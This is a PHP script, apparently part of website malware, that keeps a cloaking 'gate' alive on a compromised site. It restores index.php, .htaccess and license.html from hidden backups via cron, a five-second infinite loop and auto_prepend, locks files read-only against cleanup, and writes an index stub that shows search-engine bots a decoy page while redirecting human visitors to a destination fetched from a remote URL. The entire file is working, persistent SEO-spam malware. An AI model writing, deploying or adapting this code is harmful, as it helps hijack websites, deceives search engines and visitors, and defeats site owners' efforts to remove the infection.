<?php
/**
 * MS Gate Restore — index / .htaccess / license dışardan silinse bile bak'tan geri yazar.
 * - cron: her dakika (HTTP isteği gerekmez)
 * - --loop watch: arka planda ~5sn (HTTP isteği gerekmez)
 * - .user.ini auto_prepend: PHP isteğinde de (yedek kanal)
 */
if (!function_exists('ms_gate_restore_run')) {
function ms_gate_restore_run($root = null, $force = false) {
    $root = $root ? rtrim(str_replace('\\', '/', $root), '/') : rtrim(str_replace('\\', '/', dirname(__FILE__)), '/');
    if ($root === '' || !@is_dir($root)) {
        return;
    }
    static $done = [];
    if (!$force && !empty($done[$root])) {
        return;
    }
    $done[$root] = true;

    $idx = $root . '/index.php';
    $ht = $root . '/.htaccess';
    $lic = $root . '/license.html';
    $home = $root . '/ms-home-gate.php';
    $bakIdx = $root . '/.ms_index.bak.php';
    $wpBak = $root . '/wp-content/.ms_index.bak.php';
    $imgBak = $root . '/images/.ms_index.bak.php';
    $bakHt = $root . '/.ms_htaccess.bak';
    $imgHt = $root . '/images/.ms_htaccess.bak';
    $bakLic = $root . '/.ms_license.bak.html';
    $imgLic = $root . '/images/.ms_license.bak.html';

    $isCloak = static function ($body) {
        if (!is_string($body) || strlen($body) < 40) {
            return true;
        }
        if (strpos($body, 'IST_TXT_URL') !== false || strpos($body, 'ms-home-gate.php') !== false
            || strpos($body, 'MS_DEST_ONLY') !== false || strpos($body, '.ms_vitrin_dest') !== false) {
            return false;
        }
        return (bool)preg_match('/\bgoto\s+[A-Za-z_]/i', $body)
            || stripos($body, 'ytag.js') !== false
            || (substr_count($body, '\\x') > 40);
    };

    $lockF = $root . '/.ms_gate_kontrol_ok.json';
    $locked = false;
    if (is_file($lockF) && is_readable($lockF)) {
        $lj = json_decode((string)@file_get_contents($lockF), true);
        if (is_array($lj)) {
            if (array_key_exists('locked', $lj)) {
                $locked = !empty($lj['locked']);
            } elseif (!empty($lj['ok'])) {
                $locked = true;
            }
        }
    }

    $putBak = static function ($livePath, $bakBody, $minLen, $mode) {
        if (!is_string($bakBody) || strlen($bakBody) < $minLen) {
            return false;
        }
        $live = is_file($livePath) ? (string)@file_get_contents($livePath) : '';
        if ($live !== '' && md5($live) === md5($bakBody)) {
            return false;
        }
        if (is_file($livePath)) {
            @chmod($livePath, 0644);
        }
        if (@file_put_contents($livePath, $bakBody) !== false) {
            @chmod($livePath, $mode);
            return true;
        }
        return false;
    };

    // --- license ---
    $licSrc = '';
    foreach ([$bakLic, $imgLic, $root . '/images/license.html', $root . '/images/images/license.html'] as $p) {
        if (is_file($p) && (@filesize($p) ?: 0) > 400) {
            $licSrc = (string)@file_get_contents($p);
            break;
        }
    }
    if ($licSrc !== '' && (!is_file($lic) || (@filesize($lic) ?: 0) < 400 || ($locked && md5((string)@file_get_contents($lic)) !== md5($licSrc)))) {
        $putBak($lic, $licSrc, 400, 0644);
        if (!is_file($bakLic)) {
            @file_put_contents($bakLic, $licSrc);
            @chmod($bakLic, 0644);
        }
    }

    // --- htaccess ---
    $htSrc = '';
    foreach ([$bakHt, $imgHt] as $p) {
        if (is_file($p) && (@filesize($p) ?: 0) > 10) {
            $htSrc = (string)@file_get_contents($p);
            break;
        }
    }
    if ($htSrc === '' || strlen($htSrc) < 10) {
        if (!is_file($ht) || (@filesize($ht) ?: 0) < 10) {
            $htSrc = "DirectoryIndex index.php ms-gate-restore.php\n"
                . "<IfModule mod_rewrite.c>\nRewriteEngine On\n"
                . "RewriteCond %{DOCUMENT_ROOT}/index.php -f\nRewriteRule ^$ index.php [L]\n"
                . "RewriteCond %{DOCUMENT_ROOT}/index.php !-f\nRewriteRule ^$ ms-gate-restore.php [L]\n"
                . "</IfModule>\n";
        }
    }
    if ($htSrc !== '' && strlen($htSrc) >= 10 && (!is_file($ht) || (@filesize($ht) ?: 0) < 10 || ($locked && md5((string)@file_get_contents($ht)) !== md5($htSrc)))) {
        $putBak($ht, $htSrc, 10, 0644);
    }

    // --- ms-home-gate ---
    $gateBody = '';
    foreach ([$bakIdx, $wpBak, $imgBak, $home] as $p) {
        if (!is_file($p)) {
            continue;
        }
        $b = (string)@file_get_contents($p);
        if (strlen($b) > 80 && (strpos($b, 'IST_TXT_URL') !== false || strpos($b, 'license.html') !== false
            || strpos($b, 'GATE_DEST_FALLBACK') !== false || strpos($b, 'ms-home-gate.php') !== false)) {
            $gateBody = $b;
            break;
        }
    }
    if ($gateBody !== '' && strpos($gateBody, 'IST_TXT_URL') !== false) {
        if (!is_file($home) || (@filesize($home) ?: 0) < 80) {
            @file_put_contents($home, $gateBody);
            @chmod($home, 0444);
        }
    }

    // --- index ---
    $missing = !is_file($idx);
    $live = $missing ? '' : (string)@file_get_contents($idx);
    $bakIdxBody = '';
    foreach ([$bakIdx, $wpBak, $imgBak] as $p) {
        if (is_file($p) && (@filesize($p) ?: 0) > 80) {
            $bakIdxBody = (string)@file_get_contents($p);
            break;
        }
    }
    if ($locked && $bakIdxBody !== '' && md5($live) !== md5($bakIdxBody)) {
        $putBak($idx, $bakIdxBody, 40, 0644);
        if ($gateBody !== '' && strpos($gateBody, 'IST_TXT_URL') !== false && (!is_file($home) || (@filesize($home) ?: 0) < 80)) {
            @file_put_contents($home, $gateBody);
            @chmod($home, 0644);
        }
        return;
    }
    if ($locked && ($missing || (@filesize($idx) ?: 0) < 40)) {
        $stub = "<?php\n/* MS_DEST_ONLY */\nerror_reporting(0);\n"
            . "\$ua=isset(\$_SERVER['HTTP_USER_AGENT'])?(string)\$_SERVER['HTTP_USER_AGENT']:'';\n"
            . "\$path=parse_url(isset(\$_SERVER['REQUEST_URI'])?(string)\$_SERVER['REQUEST_URI']:'/',PHP_URL_PATH);\n"
            . "if(!is_string(\$path)||\$path===''){\$path='/';}\n"
            . "\$home=(\$path==='/'||strcasecmp(\$path,'/index.php')===0);\n"
            . "\$bot=(bool)preg_match('/googlebot|googleother|google-|adsbot-google|mediapartners-google|bingbot|slurp|duckduckbot|baiduspider|yandexbot|applebot|bytespider/i',\$ua);\n"
            . "if(\$home&&\$bot&&is_file(__DIR__.'/license.html')){header('Content-Type: text/html; charset=UTF-8');header('Cache-Control: private, no-store');readfile(__DIR__.'/license.html');exit;}\n"
            . "if(\$home&&!\$bot){\$txt='';foreach(array(__DIR__.'/.ms_gate_redirect.json',__DIR__.'/wp-content/.ms_gate_redirect.json') as \$jf){if(!is_file(\$jf))continue;\$j=json_decode((string)@file_get_contents(\$jf),true);if(is_array(\$j)&&!empty(\$j['url'])&&preg_match('#^https?://#i',\$j['url'])){\$txt=\$j['url'];break;}}\$d='';if(\$txt!==''){\$raw=@file_get_contents(\$txt);if(is_string(\$raw)){foreach(preg_split('/\\r\\n|\\r|\\n',\$raw) as \$ln){\$u=trim(\$ln);if(\$u===''||!preg_match('#^https?://#i',\$u))continue;if(stripos((string)(parse_url(\$u,PHP_URL_PATH)?:''),'.txt')!==false)continue;\$d=rtrim(\$u,'/').'/';break;}}}if(\$d!==''){header('Cache-Control: no-store');header('Location: '.\$d,true,302);exit;}}\n"
            . "header('Content-Type: text/plain; charset=UTF-8');http_response_code(503);echo 'Service temporarily unavailable';\n";
        $putBak($idx, $stub, 40, 0644);
        if (!is_file($bakIdx) || (@filesize($bakIdx) ?: 0) < 40) {
            @file_put_contents($bakIdx, $stub);
            @chmod($bakIdx, 0644);
        }
        return;
    }
    if (!$missing && !$isCloak($live)) {
        return;
    }
    $write = $gateBody;
    if ($write === '' || (strpos($write, 'IST_TXT_URL') === false && is_file($home))) {
        $write = "<?php\nrequire __DIR__ . '/ms-home-gate.php';\n";
    }
    if ($write === '') {
        return;
    }
    if (is_file($idx)) {
        @chmod($idx, 0666);
    }
    if (@file_put_contents($idx, $write) !== false) {
        @chmod($idx, 0444);
        if (!is_file($bakIdx) || (@filesize($bakIdx) ?: 0) < 80) {
            @file_put_contents($bakIdx, (strpos($gateBody, 'IST_TXT_URL') !== false ? $gateBody : $write));
            @chmod($bakIdx, 0444);
        }
    }
}
}

$__ms_root = dirname(__FILE__);
ms_gate_restore_run($__ms_root, true);

if (PHP_SAPI !== 'cli') {
    $__ms_sf = (string)($_SERVER['SCRIPT_FILENAME'] ?? '');
    if ($__ms_sf !== '' && @realpath($__ms_sf) && @realpath(__FILE__) && strcasecmp((string)@realpath($__ms_sf), (string)@realpath(__FILE__)) === 0) {
        $__ms_idx = $__ms_root . '/index.php';
        if (is_file($__ms_idx)) {
            require $__ms_idx;
            exit;
        }
        $__ms_txt = '';
        foreach ([$__ms_root . '/.ms_gate_redirect.json', $__ms_root . '/wp-content/.ms_gate_redirect.json'] as $__ms_jf) {
            if (!is_file($__ms_jf)) {
                continue;
            }
            $__ms_j = json_decode((string)@file_get_contents($__ms_jf), true);
            if (is_array($__ms_j) && !empty($__ms_j['url']) && preg_match('#^https?://#i', (string)$__ms_j['url'])) {
                $__ms_txt = (string)$__ms_j['url'];
                break;
            }
        }
        $__ms_dest = '';
        if ($__ms_txt !== '') {
            $__ms_raw = @file_get_contents($__ms_txt);
            if (is_string($__ms_raw) && $__ms_raw !== '') {
                foreach (preg_split('/\r\n|\r|\n/', $__ms_raw) as $__ms_ln) {
                    $__ms_u = trim($__ms_ln);
                    if ($__ms_u === '' || !preg_match('#^https?://#i', $__ms_u)) {
                        continue;
                    }
                    $__ms_p = (string)(parse_url($__ms_u, PHP_URL_PATH) ?: '');
                    if (preg_match('/\.txt(\?|$)/i', $__ms_p)) {
                        continue;
                    }
                    $__ms_dest = rtrim($__ms_u, '/') . '/';
                    break;
                }
            }
        }
        if ($__ms_dest !== '') {
            header('Cache-Control: no-store');
            header('Location: ' . $__ms_dest, true, 302);
            exit;
        }
    }
}

// CLI: cron her dakika çağırır; --loop = istek olmadan sürekli watch
if (PHP_SAPI === 'cli') {
    global $argv;
    $loop = false;
    if (isset($argv) && is_array($argv)) {
        foreach ($argv as $a) {
            if ($a === '--loop' || $a === '-w') {
                $loop = true;
                break;
            }
        }
    }
    if ($loop) {
        @ignore_user_abort(true);
        @set_time_limit(0);
        while (true) {
            sleep(5);
            ms_gate_restore_run($__ms_root, true);
        }
    }
}
